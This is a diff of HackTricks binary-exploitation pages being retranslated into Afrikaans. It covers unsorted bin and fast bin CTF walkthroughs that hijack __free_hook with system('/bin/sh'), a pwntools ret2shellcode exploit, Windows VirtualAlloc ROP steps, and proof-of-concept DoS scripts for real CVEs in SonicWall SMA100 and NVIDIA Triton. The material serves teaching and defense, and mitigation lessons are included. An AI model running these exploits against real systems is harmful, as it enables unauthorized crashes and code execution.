 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- Die doel is om 'n globale veranderlike oor te skryf met 'n waarde groter as 4869 sodat dit moontlik is om die vlag te kry en PIE is nie aangeskakel nie.
+- Die doel is om 'n globale veranderlike oor te skryf met 'n waarde groter as 4869 sodat dit moontlik is om die flag te kry en PIE is nie aangeskakel nie.
-- Dit is moontlik om chunks van ewekansige groottes te genereer en daar is 'n heap overflow met die verlangde grootte.
+- Dit is moontlik om chunks van arbitrêre groottes te genereer en daar is 'n heap overflow met die gewenste grootte.
-- Die aanval begin deur 3 chunks te skep: chunk0 om die overflow te misbruik, chunk1 om oorloop te word en chunk2 sodat die top chunk nie die vorige eenhede konsolideer nie.
+- Die aanval begin deur 3 chunks te skep: chunk0 om die overflow te misbruik, chunk1 wat oorvloed gaan word en chunk2 sodat die top chunk nie die vorige eenhede konsolideer nie.
-- Daarna word chunk1 vrygestel en chunk0 word oorloop na die `bk` pointer waarheen chunk1 wys: `bk = magic - 0x10`
+- Dan word chunk1 vrygestel en chunk0 oorloop sodat die `bk` pointer van chunk1 wys na: `bk = magic - 0x10`
-- Dan word chunk3 gealloceer met dieselfde grootte as chunk1, wat die unsorted bin attack sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die vlag te kry.
+- Dan word chunk3 gealloceer met dieselfde grootte as chunk1, wat die unsorted bin attack sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die flag te kry.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- Die merge-funksie is kwesbaar omdat as albei indekse dieselfde is, dit op dit self gaan realloc en dan vrylaat maar 'n pointer na daardie vrygemaakte gebied teruggee wat gebruik kan word.
+- Die merge-funksie is kwesbaar omdat as beide indekse wat deurgegee word dieselfde is, dit 'n realloc op dit sal uitvoer en dan vrygee, maar 'n pointer na daardie vrygestelde area sal teruggee wat gebruik kan word.
-- Daarom word **2 chunks geskep**: **chunk0** wat met homself en chunk1 gesmelt gaan word om konsolidasie met die top chunk te voorkom. Dan word die **merge** funksie met chunk0 twee keer aangeroep wat 'n use after free veroorsaak.
+- Daarom word **2 chunks geskep**: **chunk0** wat met homself gemerg sal word en chunk1 om konsolidasie met die top chunk te voorkom. Dan word die **merge function met chunk0** twee keer geroep wat 'n use after free sal veroorsaak.
-- Daarna word die **`view`** funksie aangeroep met index 2 (die index van die use after free chunk), wat 'n libc address sal leak.
+- Dan word die **`view`** function met indeks 2 geroep (wat die indeks van die use after free chunk is), wat 'n libc address sal leak.
-- Aangesien die binary beskermings het om slegs te malloc groottes groter as **`global_max_fast`** te laat, sodat geen fastbin gebruik word nie, gaan 'n unsorted bin attack gebruik word om die globale veranderlike `global_max_fast` oor te skryf.
+- Aangesien die binary beskermings het om slegs sizes groter as **`global_max_fast`** te malloc, sodat geen fastbin gebruik word nie, gaan 'n unsorted bin attack gebruik word om die globale veranderlike `global_max_fast` oor te skryf.
-- Dan is dit moontlik om die edit funksie te noem met index 2 (die use after free pointer) en die `bk` pointer oor te skryf om te wys na `p64(global_max_fast-0x10)`. Daarna sal die skepping van 'n nuwe chunk die voorheen gekompromitteerde free address (0x20) gebruik en **die unsorted bin attack** trigger wat `global_max_fast` oorskryf tot 'n baie groot waarde, wat nou toelaat om chunks in fast bins te skep.
+- Dan is dit moontlik om die edit function met indeks 2 (die use after free pointer) te roep en die `bk` pointer oor te skryf om na `p64(global_max_fast-0x10)` te wys. Daarna sal die skep van 'n nuwe chunk die voorheen gekompromitteerde vryadres (0x20) gebruik en die **unsorted bin attack** sal getrigger word wat die `global_max_fast` oorskryf met 'n baie groot waarde, wat nou toelaat om chunks in fast bins te skep.
 - Nou word 'n **fast bin attack** uitgevoer:
-- Eerstens is gevind dat dit moontlik is om met fast **chunks van grootte 200** in die **`__free_hook`** ligging te werk:
+- Eerstens is dit ontdek dat dit moontlik is om met fast **chunks of size 200** in die **`__free_hook`** ligging te werk:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -114,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- As ons 'n fast chunk van grootte 0x200 in hierdie ligging kan kry, sal dit moontlik wees om 'n function pointer oor te skryf wat uitgevoer gaan word.
+- As ons daarin slaag om 'n fast chunk van grootte 0x200 in hierdie ligging te kry, sal dit moontlik wees om 'n function pointer oor te skryf wat uitgevoer sal word.
-- Hiervoor word 'n nuwe chunk van grootte `0xfc` geskep en die merge funksie met daardie pointer twee keer aangeroep; op hierdie manier kry ons 'n pointer na 'n vrygemaakte chunk van grootte `0xfc*2 = 0x1f8` in die fast bin.
+- Daarvoor word 'n nuwe chunk van grootte `0xfc` geskep en die merged function met daardie pointer twee keer geroep; op hierdie manier verkry ons 'n pointer na 'n vrygestelde chunk van grootte `0xfc*2 = 0x1f8` in die fast bin.
-- Dan word die edit funksie op hierdie chunk aangeroep om die **`fd`** adres van hierdie fast bin te wysig om na die vorige **`__free_hook`** funksie te wys.
+- Dan word die edit function op hierdie chunk geroep om die **`fd`** adres van hierdie fast bin te wysig om na die vorige **`__free_hook`** funksie te wys.
-- Daarna word 'n chunk met grootte `0x1f8` geskep om die vorige nuttelose chunk uit die fast bin te haal en nog 'n chunk van grootte `0x1f8` gealloceer om 'n fast bin chunk in die **`__free_hook`** te kry wat oor geskryf word met die adres van die **`system`** funksie.
+- Daarna word 'n chunk van grootte `0x1f8` geskep om uit die fast bin die vorige nuttelose chunk te herwin, sodat nog 'n chunk van grootte `0x1f8` geskep word om 'n fast bin chunk in die **`__free_hook`** te kry, wat met die adres van die **`system`** funksie oorskryf word.
-- En uiteindelik word 'n chunk met die string `/bin/sh\x00` vrygestel deur die delete funksie aan te roep, wat die **`__free_hook`** funksie trigger wat na system wys met `/bin/sh\x00` as parameter.
+- En uiteindelik word 'n chunk wat die string `/bin/sh\x00` bevat vrygestel deur die delete function te roep, wat die **`__free_hook`** funksie aktiveer wat na system wys met `/bin/sh\x00` as parameter.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Nog 'n voorbeeld van die misbruik van 'n 1B overflow om chunks in die unsorted bin te konsolideer en 'n libc infoleak te kry en dan 'n fast bin attack uit te voer om malloc hook met 'n one gadget adres te oor skryf
+- 'n Ander voorbeeld van die misbruik van 'n 1B overflow om chunks in die unsorted bin te konsolideer en 'n libc infoleak te kry en dan 'n fast bin attack uit te voer om die malloc hook met 'n one gadget address oorskryf.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- Ons kan slegs chunks van grootte groter as `0x100` allokeer.
+- Ons kan slegs chunks van grootte groter as `0x100` alloceer.
-- Oorskryf `global_max_fast` deur 'n Unsorted Bin attack (werk 1/16 keer weens ASLR, omdat ons 12 bits moet verander, maar ons moet 16 bits verander).
+- Oorskryf `global_max_fast` met 'n Unsorted Bin attack (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bisse moet wysig, maar ons moet 16 bisse wysig).
-- Fast Bin attack om 'n globale array van chunks te wysig. Dit gee 'n arbitrêre read/write primitive, wat toelaat om die GOT te wysig en 'n funksie na `system` te laat wys.
+- Fast Bin attack om 'n globale array van chunks te wysig. Dit gee 'n arbitrary read/write primitive, wat toelaat om die GOT te wysig en 'n funksie te stel om na `system` te wys.
 
-## Verwysings
+## References
 
-- Glibc malloc unsorted-bin integrity checks (voorbeeld in 2.33 bron): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
+- Glibc malloc unsorted-bin integriteitskontroles (voorbeeld in 2.33 bron): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
-- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
+- `global_max_fast` en verwante definisies in moderne glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/README.md

@@ -4,13 +4,13 @@
 
 ## Wat is 'n Stack Overflow
 
-A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **oorskryf aangrensende geheuerruimte**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
+A **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stack skryf as wat daarvoor toegeken is om te hou. Hierdie oortollige data sal die **aangrensende geheue-ruimte oorskryf**, wat lei tot die korrupsie van geldige data, ontwrigting van die uitvoeringsvloei, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat geen grenskontrole op insette uitvoer nie.
 
-Die hoofprobleem van hierdie oorskrywing is dat die **gestoorde instruksie-aanwyser (EIP/RIP)** en die **gestoorde basis-aanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stack gestoor** word. Daarom kan 'n aanvaller hierdie waardes oorskryf en die **uitvoeringsvloei van die program beheer**.
+Die hoofprobleem van hierdie oorskrywing is dat die **saved instruction pointer (EIP/RIP)** en die **saved base pointer (EBP/RBP)** om terug te keer na die vorige funksie **op die stack gestoor** word. Daarom sal 'n aanvaller dit kan oorskryf en die **uitvoeringsvloei van die program beheer**.
 
-Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **op die stack meer bytes kopieer as wat daarvoor toegewys is**, en gevolglik ander dele van die stack kan oorskryf.
+Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stack kopieer as die hoeveelheid daarvoor toegeken is**, en dus ander dele van die stack kan oorskryf.
 
-Party algemene funksies wat vatbaar hiervoor is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook funksies soos **`fgets`**, **`read`** & **`memcpy`** wat 'n **lengte-argument** aanvaar, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegewysde een.
+Sommige algemene funksies wat hiervoor kwesbaar is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook funksies soos **`fgets`**, **`read`** & **`memcpy`** wat 'n **lengte-argument** neem, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegekende een.
 
 Byvoorbeeld, die volgende funksies kan kwesbaar wees:
 ```c
@@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Vind offsets van Stack Overflows
+### Vind Stack Overflows offsets
 
-Die algemeenste manier om stack overflows te vind is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer gekry is**.
+Die mees algemene manier om Stack Overflows te vind is om 'n baie groot invoer van `A`s te gee (e.g. `python3 -c 'print("A"*1000)'`) en te wag vir 'n `Segmentation Fault` wat aandui dat die **adres `0x41414141` probeer aangespreek is**.
 
-Verder, sodra jy gevind het dat daar 'n Stack Overflow vulnerability is, sal jy die offset moet bepaal totdat dit moontlik is om die **return address te overwrite**; hiervoor word gewoonlik 'n **De Bruijn sequence** gebruik. Vir 'n gegewe alfabet van grootte _k_ en subreeksse van lengte _n_ is dit 'n **sikliese volgorde waarin elke moontlike subreeks van lengte _n_ presies een keer as 'n aaneenlopende subreeks voorkom**.
+Verder, sodra jy gevind het dat daar 'n Stack Overflow kwetsbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **overwrite the return address**, hiervoor word gewoonlik 'n **De Bruijn sequence** gebruik. Wat, vir 'n gegewe alfabet van grootte _k_ en subreeksies van lengte _n_, 'n **sikliese volgorde is waarin elke moontlike subreeks van lengte _n_ presies een keer as 'n aaneenlopende subreeks verskyn.**
 
-Op hierdie manier, in plaas daarvan om met die hand uit te werk watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik overwrite het.
+Op hierdie manier, in plaas daarvan om met die hand uit te figureer watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik oorskryf het.
 
 Dit is moontlik om **pwntools** hiervoor te gebruik:
 ```python
@@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Uitbuiting van Stack Overflows
 
-Tydens 'n overflow (aanneem die overflow-grootte is groot genoeg) sal jy in staat wees om waardes van plaaslike veranderlikes binne die stack te **overwrite** totdat jy die gestoorde **EBP/RBP and EIP/RIP (or even more)** bereik.\  
+During an overflow (supposing the overflow size if big enough) you will be able to **oorskryf** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
-Die mees algemene manier om hierdie tipe kwetsbaarheid te misbruik is deur die **return address** te wysig sodat wanneer die funksie eindig die **control flow** herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het.
+Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik is deur die **terugkeeradres te wysig** sodat wanneer die funksie eindig die **control flow herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het**.
 
-In ander scenario's mag dit egter genoeg wees om net sekere veranderlikewaardes op die stack te **overwrite** (like in easy CTF challenges).
+However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
 
 ### Ret2win
 
-In hierdie tipe CTF challenges is daar 'n **function** **inside** die binary wat **never called** word en wat **you need to call in order to win**. Vir hierdie challenges hoef jy net die **offset to overwrite the return address** te vind en die **address of the function** om aan te roep (gewoonlik sal [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) gedeaktiveer wees) sodat wanneer die vulnerable function returns, die hidden function aangeroep sal word:
+In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
 
 
 {{#ref}}
@@ -66,7 +66,7 @@ ret2win/
 
 ### Stack Shellcode
 
-In hierdie scenario kan die aanvaller 'n shellcode op die stack plaas en die beheerste EIP/RIP misbruik om na die shellcode te jump en arbitrary code uit te voer:
+In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
 
 
 {{#ref}}
@@ -75,7 +75,7 @@ stack-shellcode/
 
 ### Windows SEH-based exploitation (nSEH/SEH)
 
-Op 32-bit Windows kan 'n overflow die Structured Exception Handler (SEH) ketting overskryf in plaas van die gestoorde return address. Eksploitasie vervang tipies die SEH pointer met 'n POP POP RET gadget en gebruik die 4-byte nSEH veld vir 'n kort jump om terug te pivot in die groot buffer waar die shellcode lê. 'n Algemene patroon is 'n kort jmp in nSEH wat op 'n 5-byte near jmp land wat net voor nSEH geplaas is om honderde bytes terug na die payload-begin te jump.
+On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
 
 
 {{#ref}}
@@ -84,7 +84,7 @@ windows-seh-overflow.md
 
 ### ROP & Ret2... techniques
 
-Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vorige tegniek te omseil: **No executable stack (NX)**. Dit laat ook toe om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat uiteindelik arbitrary commands sal uitvoer deur bestaande instruksies in die binary te misbruik:
+This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
 
 
 {{#ref}}
@@ -93,7 +93,7 @@ Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vori
 
 ## Heap Overflows
 
-' n Overflow gaan nie altyd in die stack plaasvind nie; dit kan byvoorbeeld ook in die **heap** wees:
+An overflow is not always going to be in the stack, it could also be in the **heap** for example:
 
 
 {{#ref}}
@@ -102,42 +102,43 @@ Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vori
 
 ## Tipes beskerming
 
-Daar is verskeie beskermings wat probeer voorkom dat kwesbaarhede geëksploiteer word; kyk daarna in:
+There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
 
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/
 {{#endref}}
 
-### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
+### Werklike voorbeeld: CVE-2025-40596 (SonicWall SMA100)
 
-'n Goeie demonstrasie van waarom **`sscanf` moet nooit vertrou word vir die parse van onbetroubare input nie** het in 2025 in SonicWall’s SMA100 SSL-VPN appliance voorgekom. Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer die version en endpoint uit enige URI onttrek wat met `/__api__/` begin:
+A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
+Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer die weergawe en endpoint uit enige URI te onttrek wat begin met `/__api__/`:
 ```c
 char version[3];
 char endpoint[0x800] = {0};
 /* simplified proto-type */
 sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
 ```
-1. Die eerste omskakeling (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`).
+1. Die eerste konversie (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`).
-2. Die tweede omskakeling (`%s`) **het geen lengte-spesifiseerder nie**, daarom sal `sscanf` aanhou kopieer **tot by die eerste NUL byte**.
+2. Die tweede konversie (`%s`) **het geen lengte-spesifiseerder nie**, daarom sal `sscanf` bly kopieer **tot by die eerste NUL byte**.
-3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes long**, veroorsaak 'n pad langer as 0x800 bytes dat alles wat ná die buffer lê korrupteer word ‑ insluitend die **stack canary** en die **saved return address**.
+3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes long**, korrupteer die verskaffing van 'n pad langer as 0x800 bytes alles wat na die buffer sit ‑ insluitend die **stack canary** en die **saved return address**.
 
-Een enkele reël proof-of-concept is genoeg om die crash **before authentication** te trigger:
+Een enkele reël proof-of-concept is genoeg om die crash **before authentication** te veroorsaak:
 ```python
 import requests, warnings
 warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig:
+Alhoewel stack canaries die proses beëindig, kry 'n aanvaller steeds 'n **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig:
 
-* Verskaf altyd 'n **maksimum veldwydte** (bv. `%511s`).
+* Gee altyd 'n **maksimum veldbreedte** (bv. `%511s`).
-* Gebruik verkieslik veiliger alternatiewe soos `snprintf`/`strncpy_s`.
+* Gee voorkeur aan veiliger alternatiewe soos `snprintf`/`strncpy_s`.
 
-### Werklike voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+### Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
-NVIDIA’s Triton Inference Server (≤ v25.06) het verskeie **stack-based overflows** gehad wat deur sy HTTP API bereikbaar was.
+NVIDIA se Triton Inference Server (≤ v25.06) het verskeie **stack-based overflows** bevat wat via sy HTTP API bereik kon word.
-Die kwesbare patroon het herhaaldelik verskyn in `http_server.cc` en `sagemaker_server.cc`:
+Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` voorgekom:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
 if (n > 0) {
@@ -147,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
 ...
 }
 ```
-1. `evbuffer_peek` (libevent) gee die **aantal interne buffer-segmente** wat die huidige HTTP versoekliggaam saamstel.
+1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmente** wat die huidige HTTP-versoekliggaam saamstel.
-2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stack** via `alloca()` toegeken word – **sonder enige boonste grens**.
+2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stack** via `alloca()` gealloceer word – **sonder enige boonste beperking**.
-3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde-duisende 6-byte-stukke** (`"1\r\nA\r\n"`) gesplit te word. Dit laat `n` onbeperk groei totdat die **stack** uitgeput is.
+3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde duisende 6-byte stukkies** (`"1\r\nA\r\n"`) opgesplit te word. Dit laat `n` onbeperk groei totdat die stack uitgeput is.
 
-#### Bewys van konsep (DoS)
+#### Bewys-van-Konsep (DoS)
 ```python
 #!/usr/bin/env python3
 import socket, sys
@@ -175,9 +176,9 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en die daemon op 'n standaard build te **crash**.
+'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en **crash** die daemon op 'n default build.
 
-#### Patch & Versagting
+#### Patch & Mitigation
 Die 25.07 release vervang die onveilige stack allocation met 'n **heap-backed `std::vector`** en hanteer `std::bad_alloc` op 'n elegante wyse:
 ```c++
 std::vector<evbuffer_iovec> v_vec;
@@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
 struct evbuffer_iovec *v = v_vec.data();
 ```
 Lesse geleer:
-* Moet nooit `alloca()` met attacker-controlled sizes aanroep nie.
+* Moenie `alloca()` met groottes wat deur die aanvaller beheer word aanroep nie.
-* Chunked requests kan die vorm van server-side buffers drasties verander.
+* Chunked requests kan drasties die vorm van server-side buffers verander.
-* Valideer / beperk enige waarde wat vanaf client input afgelei is *voordat* dit in memory allocations gebruik word.
+* Valideer / beperk enige waarde wat uit kliëntinvoer afgelei is *voor* jy dit in geheue-toewysings gebruik.
 
 ## Verwysings
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -4,7 +4,7 @@
 
 ## Basiese Inligting
 
-**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stack skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of willekeurige opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.
+**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode op 'n kwesbare program se stack skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of om arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.
 
 ### C Voorbeeld: 'n Kwesbare Program
 
@@ -28,18 +28,18 @@ Hierdie program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van
 
 ### Kompilering
 
-Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing na te boots), kan jy die volgende opdrag gebruik:
+Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
-- `-fno-stack-protector`: Skakel stack protection af.
+- `-fno-stack-protector`: Skakel stack-beskerming af.
-- `-z execstack`: Maak die stack uitvoerbaar, wat nodig is om shellcode wat op die stack gestoor is uit te voer.
+- `-z execstack`: Maak die stack uitvoerbaar, wat nodig is om shellcode wat op die stack gestoor is, uit te voer.
-- `-no-pie`: Skakel Position Independent Executable (PIE) af, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode sal wees.
+- `-no-pie`: Skakel Position Independent Executable af, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees.
 - `-m32`: Kompileer die program as 'n 32-bit uitvoerbare, dikwels gebruik vir eenvoud in exploit development.
 
 ### Python Exploit met Pwntools
 
-Hier is hoe jy 'n exploit in Python met **pwntools** kan skryf om 'n **ret2shellcode** attack uit te voer:
+Hier is hoe jy 'n exploit in Python met **pwntools** kan skryf om 'n **ret2shellcode** aanval uit te voer:
 ```python
 from pwn import *
 
@@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Hierdie skrip bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en oorskryf dan die **EIP** met die adres wat na die NOP slide wys, wat verseker dat die shellcode uitgevoer word.
+Hierdie script bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en dan oor skryf die **EIP** met die adres wat na die NOP slide wys, om te verseker dat die shellcode uitgevoer word.
 
-Die **NOP slide** (`asm('nop')`) word gebruik om die kans te vergroot dat die uitvoering na ons shellcode sal "slide" ongeag die presiese adres. Stel die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te beland.
+Die **NOP slide** (`asm('nop')`) word gebruik om die kans te verhoog dat uitvoering in ons shellcode "slide" ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te land.
 
 ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
 
-Op moderne Windows is die stack nie-uitvoerbaar nie (DEP/NX). 'n Algemene manier om steeds stack-resident shellcode ná 'n stack BOF uit te voer, is om 'n 64-bit ROP-ketting te bou wat VirtualAlloc (of VirtualProtect) vanaf die module Import Address Table (IAT) aanroep om 'n area van die stack uitvoerbaar te maak en dan terug te keer na die shellcode wat ná die ketting aangeheg is.
+Op moderne Windows is die stack nie-uitvoerbaar (DEP/NX). 'n Algemene manier om steeds stack-resident shellcode na 'n stack BOF uit te voer is om 'n 64-bit ROP chain te bou wat VirtualAlloc (of VirtualProtect) vanaf die module Import Address Table (IAT) aanroep om 'n streek van die stack uitvoerbaar te maak en dan terug te keer in die shellcode wat na die chain aangeheg is.
 
 Key points (Win64 calling convention):
 - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
-- RCX = lpAddress → kies 'n adres in die huidige stack (bv. RSP) sodat die nuut-geallokeerde RWX-streek oorvleuel met jou payload
+- RCX = lpAddress → kies 'n adres in die huidige stack (bv. RSP) sodat die nuut toegewezen RWX-streek oorvleuel met jou payload
-- RDX = dwSize → groot genoeg vir jou ketting + shellcode (bv. 0x1000)
+- RDX = dwSize → groot genoeg vir jou chain + shellcode (bv. 0x1000)
 - R8  = flAllocationType = MEM_COMMIT (0x1000)
 - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
 - Return directly into the shellcode placed right after the chain.
 
 Minimal strategy:
-1) Leak 'n module base (bv. via 'n format-string, object pointer, ens.) om absolute gadget- en IAT-adresse onder ASLR te bereken.
+1) Leak a module base (e.g., via a format-string, object pointer, etc.) om absolute gadget- en IAT-adresse onder ASLR te bereken.
-2) Vind gadgets om RCX/RDX/R8/R9 te laai (pop- of mov/xor-gebaseerde reekse) en 'n call/jmp [VirtualAlloc@IAT]. As jy nie direkte pop r8/r9 het nie, gebruik aritmetiese gadgets om konstantes te sintetiseer (bv. stel r8=0 en tel herhaaldelik r9 by met 0x40 veertig keer om 0x1000 te bereik).
+2) Vind gadgets om RCX/RDX/R8/R9 te laai (pop of mov/xor-gebaseerde sequences) en 'n call/jmp [VirtualAlloc@IAT]. As jy nie direkte pop r8/r9 het nie, gebruik rekenkundige gadgets om konstantte te sintetiseer (bv. stel r8=0 en voeg herhaaldelik r9=0x40 by veertig keer om 0x1000 te bereik).
-3) Plaas stage-2 shellcode onmiddellik na die ketting.
+3) Plaas stage-2 shellcode onmiddellik na die chain.
 
 Example layout (conceptual):
 ```
@@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
